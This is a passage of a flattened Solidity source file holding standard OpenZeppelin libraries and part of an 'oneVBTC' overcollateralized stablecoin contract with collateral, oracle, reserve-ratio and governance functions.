* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
pragma solidity >=0.6.0 <0.8.0;
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor () internal {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
pragma solidity >=0.6.0 <0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name_, string memory symbol_) public {
_name = name_;
_symbol = symbol_;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override virtual returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override virtual returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
pragma solidity >=0.6.0;
// interface for the oneToken
interface OneToken {
function getOneTokenUsd() external view returns (uint256);
}
// interface for CollateralOracle
interface IOracleInterface {
function getLatestPrice() external view returns (uint256);
function update() external;
function changeInterval(uint256 seconds_) external;
function priceChangeMax(uint256 change_) external;
}
/// @title An overcollateralized stablecoin using vBTC
/// @author Masanobu Fukuoka
contract oneVBTC is ERC20("oneVBTC", "oneVBTC"), Ownable, ReentrancyGuard {
using SafeMath for uint256;
uint256 public MAX_RESERVE_RATIO; // At 100% reserve ratio, each oneVBTC is backed 1-to-1 by $1 of existing stable coins
uint256 private constant DECIMALS = 9;
uint256 public lastRefreshReserve; // The last time the reserve ratio was updated by the contract
uint256 public minimumRefreshTime; // The time between reserve ratio refreshes
address public stimulus; // oneVBTC builds a stimulus fund in vBTC.
uint256 public stimulusDecimals; // used to calculate oracle rate of Uniswap Pair
address public oneTokenOracle; // oracle for the oneVBTC stable coin
bool public oneTokenOracleHasUpdate; //if oneVBTC token oracle requires update
address public stimulusOracle; // oracle for a stimulus
bool public stimulusOracleHasUpdate; //if stimulus oracle requires update
// Only governance should cause the coin to go fully agorithmic by changing the minimum reserve
// ratio. For now, we will set a conservative minimum reserve ratio.
uint256 public MIN_RESERVE_RATIO;
uint256 public MIN_DELAY;
// Makes sure that you can't send coins to a 0 address and prevents coins from being sent to the
// contract address. I want to protect your funds!
modifier validRecipient(address to) {
require(to != address(0x0));
require(to != address(this));
_;
}
uint256 private _totalSupply;
mapping(address => uint256) private _oneBalances;
mapping(address => uint256) private _lastCall; // used as a record to prevent flash loan attacks
mapping (address => mapping (address => uint256)) private _allowedOne; // allowance to spend one
address public gov; // who has admin rights over certain functions
address public pendingGov; // allows you to transfer the governance to a different user - they must accept it!
uint256 public reserveStepSize; // step size of update of reserve rate (e.g. 5 * 10 ** 8 = 0.5%)
uint256 public reserveRatio; // a number between 0 and 100 * 10 ** 9.
// 0 = 0%
// 100 * 10 ** 9 = 100%
// map of acceptable collaterals
mapping (address => bool) public acceptedCollateral;
mapping (address => uint256) public collateralMintFee; // minting fee for different collaterals (100 * 10 ** 9 = 100% fee)
address[] public collateralArray; // array of collateral - used to iterate while updating certain things like oracle intervals for TWAP
// modifier to allow auto update of TWAP oracle prices
// also updates reserves rate programatically
modifier updateProtocol() {
if (address(oneTokenOracle) != address(0)) {
// this is always updated because we always need stablecoin oracle price
if (oneTokenOracleHasUpdate) IOracleInterface(oneTokenOracle).update();
if (stimulusOracleHasUpdate) IOracleInterface(stimulusOracle).update();
for (uint i = 0; i < collateralArray.length; i++){
if (acceptedCollateral[collateralArray[i]] && !oneCoinCollateralOracle[collateralArray[i]]) IOracleInterface(collateralOracle[collateralArray[i]]).update();
}
// update reserve ratio if enough time has passed
if (block.timestamp - lastRefreshReserve >= minimumRefreshTime) {
// $Z / 1 one token
if (getOneTokenUsd() > 1 * 10 ** 9) {
setReserveRatio(reserveRatio.sub(reserveStepSize));
} else {
setReserveRatio(reserveRatio.add(reserveStepSize));
}
lastRefreshReserve = block.timestamp;
}
}
_;
}
// events for off-chain record keeping
event NewPendingGov(address oldPendingGov, address newPendingGov);
event NewGov(address oldGov, address newGov);
event NewReserveRate(uint256 reserveRatio);
event Mint(address stimulus, address receiver, address collateral, uint256 collateralAmount, uint256 stimulusAmount, uint256 oneAmount);
event Withdraw(address stimulus, address receiver, address collateral, uint256 collateralAmount, uint256 stimulusAmount, uint256 oneAmount);
event NewMinimumRefreshTime(uint256 minimumRefreshTime);
event ExecuteTransaction(bytes32 indexed txHash, address indexed target, uint value, string signature, bytes data);
modifier onlyIchiGov() {
require(msg.sender == gov, "ACCESS: only Ichi governance");
_;
}
bytes4 private constant SELECTOR = bytes4(keccak256(bytes('transfer(address,uint256)'))); // shortcut for calling transfer
mapping (address => uint256) public collateralDecimals; // needed to be able to convert from different collaterals
mapping (address => bool) public oneCoinCollateralOracle; // if true, we query the one token contract's usd price
mapping (address => bool) public previouslySeenCollateral; // used to allow users to withdraw collateral, even if the collateral has since been deprecated
// previouslySeenCollateral lets the contract know if a collateral has been used before - this also
// prevents attacks where uses add a custom address as collateral, but that custom address is actually
// their own malicious smart contract. Read peckshield blog for more info.
mapping (address => address) public collateralOracle; // address of the Collateral-ETH Uniswap Price
mapping (address => bool) public collateralOracleHasUpdate; // if collatoral oracle requires an update
// default to 0
uint256 public mintFee;
uint256 public withdrawFee;
// fee to charge when minting oneVBTC - this will go into collateral
event MintFee(uint256 fee_);
// fee to charge when redeeming oneVBTC - this will go into collateral
event WithdrawFee(uint256 fee_);
// set governance access to only oneVBTC - USDC pool multisig (elected after rewards)
modifier oneLPGov() {
require(msg.sender == lpGov, "ACCESS: only oneLP governance");
_;
}
address public lpGov;
address public pendingLPGov;
event NewPendingLPGov(address oldPendingLPGov, address newPendingLPGov);
event NewLPGov(address oldLPGov, address newLPGov);
event NewMintFee(address collateral, uint256 oldFee, uint256 newFee);
mapping (address => uint256) private _burnedStablecoin; // maps user to burned oneVBTC
// important: make sure changeInterval is a function to allow the interval of update to change
function addCollateral(address collateral_, uint256 collateralDecimal_, address oracleAddress_, bool oneCoinOracle, bool oracleHasUpdate)
external
oneLPGov
{
// only add collateral once
if (!previouslySeenCollateral[collateral_]) collateralArray.push(collateral_);
previouslySeenCollateral[collateral_] = true;
acceptedCollateral[collateral_] = true;
oneCoinCollateralOracle[collateral_] = oneCoinOracle;
collateralDecimals[collateral_] = collateralDecimal_;
collateralOracle[collateral_] = oracleAddress_;
collateralMintFee[collateral_] = 0;
collateralOracleHasUpdate[collateral_]= oracleHasUpdate;
}
function setCollateralMintFee(address collateral_, uint256 fee_)
external
oneLPGov
{
require(acceptedCollateral[collateral_], "invalid collateral");
require(fee_ <= 100 * 10 ** 9, "Fee must be valid");
emit NewMintFee(collateral_, collateralMintFee[collateral_], fee_);
collateralMintFee[collateral_] = fee_;
}
// step size = how much the reserve rate updates per update cycle
function setReserveStepSize(uint256 stepSize_)
external
oneLPGov
{
reserveStepSize = stepSize_;
}
// changes the oracle for a given collaterarl
function setCollateralOracle(address collateral_, address oracleAddress_, bool oneCoinOracle_, bool oracleHasUpdate)
external
oneLPGov
{
require(acceptedCollateral[collateral_], "invalid collateral");
oneCoinCollateralOracle[collateral_] = oneCoinOracle_;
collateralOracle[collateral_] = oracleAddress_;
collateralOracleHasUpdate[collateral_] = oracleHasUpdate;
}
// removes a collateral from minting. Still allows withdrawals however
function removeCollateral(address collateral_)
external
oneLPGov
{
acceptedCollateral[collateral_] = false;
}
// used for querying
function getBurnedStablecoin(address _user)
public
view
returns (uint256)
{
return _burnedStablecoin[_user];
}
// returns 10 ** 9 price of collateral
function getCollateralUsd(address collateral_) public view returns (uint256) {
require(previouslySeenCollateral[collateral_], "must be an existing collateral");
if (oneCoinCollateralOracle[collateral_]) return OneToken(collateral_).getOneTokenUsd();
return IOracleInterface(collateralOracle[collateral_]).getLatestPrice();
}
function globalCollateralValue() public view returns (uint256) {
uint256 totalCollateralUsd = 0;
for (uint i = 0; i < collateralArray.length; i++){
// Exclude null addresses
if (collateralArray[i] != address(0)){
totalCollateralUsd += IERC20(collateralArray[i]).balanceOf(address(this)).mul(10 ** 9).div(10 ** collateralDecimals[collateralArray[i]]).mul(getCollateralUsd(collateralArray[i])).div(10 ** 9); // add stablecoin balance
}
}
return totalCollateralUsd;
}
// return price of oneVBTC in 10 ** 9 decimal
function getOneTokenUsd()
public
view
returns (uint256)
{
return IOracleInterface(oneTokenOracle).getLatestPrice();
}
/**
* @return The total number of oneVBTC.
*/
function totalSupply()
public
override
view
returns (uint256)
{
return _totalSupply;
}
/**
* @param who The address to query.
* @return The balance of the specified address.
*/
function balanceOf(address who)
public
override
view
returns (uint256)
{
return _oneBalances[who];
}
/**
* @dev Transfer tokens to a specified address.
* @param to The address to transfer to.
* @param value The amount to be transferred.
* @return True on success, false otherwise.
*/
function transfer(address to, uint256 value)
public
override
validRecipient(to)
updateProtocol()
returns (bool)
{
_oneBalances[msg.sender] = _oneBalances[msg.sender].sub(value);
_oneBalances[to] = _oneBalances[to].add(value);
emit Transfer(msg.sender, to, value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner has allowed to a spender.
* @param owner_ The address which owns the funds.
* @param spender The address which will spend the funds.
* @return The number of tokens still available for the spender.
*/
function allowance(address owner_, address spender)
public
override
view
returns (uint256)
{
return _allowedOne[owner_][spender];
}
/**
* @dev Transfer tokens from one address to another.
* @param from The address you want to send tokens from.
* @param to The address you want to transfer to.
* @param value The amount of tokens to be transferred.
*/
function transferFrom(address from, address to, uint256 value)
public
override
validRecipient(to)
updateProtocol()
returns (bool)
{
_allowedOne[from][msg.sender] = _allowedOne[from][msg.sender].sub(value);
_oneBalances[from] = _oneBalances[from].sub(value);
_oneBalances[to] = _oneBalances[to].add(value);
emit Transfer(from, to, value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of
* msg.sender. This method is included for ERC20 compatibility.
* increaseAllowance and decreaseAllowance should be used instead.
* Changing an allowance with this method brings the risk that someone may transfer both
* the old and the new allowance - if they are both greater than zero - if a transfer
* transaction is mined before the later approve() call is mined.
*
* @param spender The address which will spend the funds.
* @param value The amount of tokens to be spent.
*/
function approve(address spender, uint256 value)
public
override
validRecipient(spender)
updateProtocol()
returns (bool)
{
_allowedOne[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
/**
* @dev Increase the amount of tokens that an owner has allowed to a spender.
* This method should be used instead of approve() to avoid the double approval vulnerability
* described above.
* @param spender The address which will spend the funds.
* @param addedValue The amount of tokens to increase the allowance by.
*/
function increaseAllowance(address spender, uint256 addedValue)
public
override
returns (bool)
{
_allowedOne[msg.sender][spender] = _allowedOne[msg.sender][spender].add(addedValue);
emit Approval(msg.sender, spender, _allowedOne[msg.sender][spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner has allowed to a spender.
*
* @param spender The address which will spend the funds.
* @param subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseAllowance(address spender, uint256 subtractedValue)
public
override
returns (bool)
{
uint256 oldValue = _allowedOne[msg.sender][spender];
if (subtractedValue >= oldValue) {
_allowedOne[msg.sender][spender] = 0;
} else {
_allowedOne[msg.sender][spender] = oldValue.sub(subtractedValue);
}
emit Approval(msg.sender, spender, _allowedOne[msg.sender][spender]);
return true;
}
function setOneTokenOracle(address oracle_, bool hasUpdate)
external
oneLPGov
returns (bool)
{
oneTokenOracle = oracle_;
oneTokenOracleHasUpdate = hasUpdate;
return true;
}
function setStimulusOracle(address oracle_, bool hasUpdate)
external
oneLPGov
returns (bool)
{
stimulusOracle = oracle_;
stimulusOracleHasUpdate = hasUpdate;
return true;
}
function setStimulusPriceChangeMax(uint256 change_)
external
oneLPGov
returns (bool)
{
IOracleInterface(stimulusOracle).priceChangeMax(change_);
return true;
}
// oracle rate is 10 ** 9 decimals
// returns $Z / Stimulus
function getStimulusUSD()
public
view
returns (uint256)
{
return IOracleInterface(stimulusOracle).getLatestPrice();
}
// minimum amount of block time (seconds) required for an update in reserve ratio
function setMinimumRefreshTime(uint256 val_)
external
oneLPGov
returns (bool)
{
require(val_ != 0, "minimum refresh time must be valid");
minimumRefreshTime = val_;
// change collateral array
for (uint i = 0; i < collateralArray.length; i++){
if (acceptedCollateral[collateralArray[i]] && !oneCoinCollateralOracle[collateralArray[i]] && collateralOracleHasUpdate[collateralArray[i]]) IOracleInterface(collateralOracle[collateralArray[i]]).changeInterval(val_);
}
if (oneTokenOracleHasUpdate) IOracleInterface(oneTokenOracle).changeInterval(val_);
if (stimulusOracleHasUpdate) IOracleInterface(stimulusOracle).changeInterval(val_);
// change all the oracles (collateral, stimulus, oneToken)
emit NewMinimumRefreshTime(val_);
return true;
}
constructor(
uint256 reserveRatio_,
address stimulus_,
uint256 stimulusDecimals_
)
public
{
_setupDecimals(uint8(9));
stimulus = stimulus_;
minimumRefreshTime = 3600 * 1; // 1 hour by default
stimulusDecimals = stimulusDecimals_;
reserveStepSize = 2 * 10 ** 8; // 0.2% by default
MIN_RESERVE_RATIO = 95 * 10 ** 9;
MAX_RESERVE_RATIO = 100 * 10 ** 9;
MIN_DELAY = 3; // 3 blocks
withdrawFee = 45 * 10 ** 7; // 0.45% fee at first, remains in collateral
gov = msg.sender;
lpGov = msg.sender;
reserveRatio = reserveRatio_;
uint256 firstMint = 1000 * 10 ** 9; //mint 1000 to create LP
_totalSupply = firstMint; //mint 1000 to create LP
_oneBalances[msg.sender] = firstMint;
emit Transfer(address(0x0), msg.sender, firstMint);
}
function setMinimumReserveRatio(uint256 val_)
external
oneLPGov
{
MIN_RESERVE_RATIO = val_;
if (MIN_RESERVE_RATIO > reserveRatio) setReserveRatio(MIN_RESERVE_RATIO);
}
function setMaximumReserveRatio(uint256 val_)
external
oneLPGov
{
MAX_RESERVE_RATIO = val_;
if (MAX_RESERVE_RATIO < reserveRatio) setReserveRatio(MAX_RESERVE_RATIO);
}
function setMinimumDelay(uint256 val_)
external
oneLPGov
{
MIN_DELAY = val_;
}
// LP pool governance ====================================
function setPendingLPGov(address pendingLPGov_)
external
oneLPGov
{
address oldPendingLPGov = pendingLPGov;
pendingLPGov = pendingLPGov_;
emit NewPendingLPGov(oldPendingLPGov, pendingLPGov_);
}
function acceptLPGov()
external
{
require(msg.sender == pendingLPGov, "!pending");
address oldLPGov = lpGov; // that
lpGov = pendingLPGov;
pendingLPGov = address(0);
emit NewGov(oldLPGov, lpGov);
}
// over-arching protocol level governance ===============
function setPendingGov(address pendingGov_)
external
onlyIchiGov
{
address oldPendingGov = pendingGov;
pendingGov = pendingGov_;
emit NewPendingGov(oldPendingGov, pendingGov_);
}
function acceptGov()
external
{
require(msg.sender == pendingGov, "!pending");
address oldGov = gov;
gov = pendingGov;
pendingGov = address(0);
emit NewGov(oldGov, gov);
}
// ======================================================
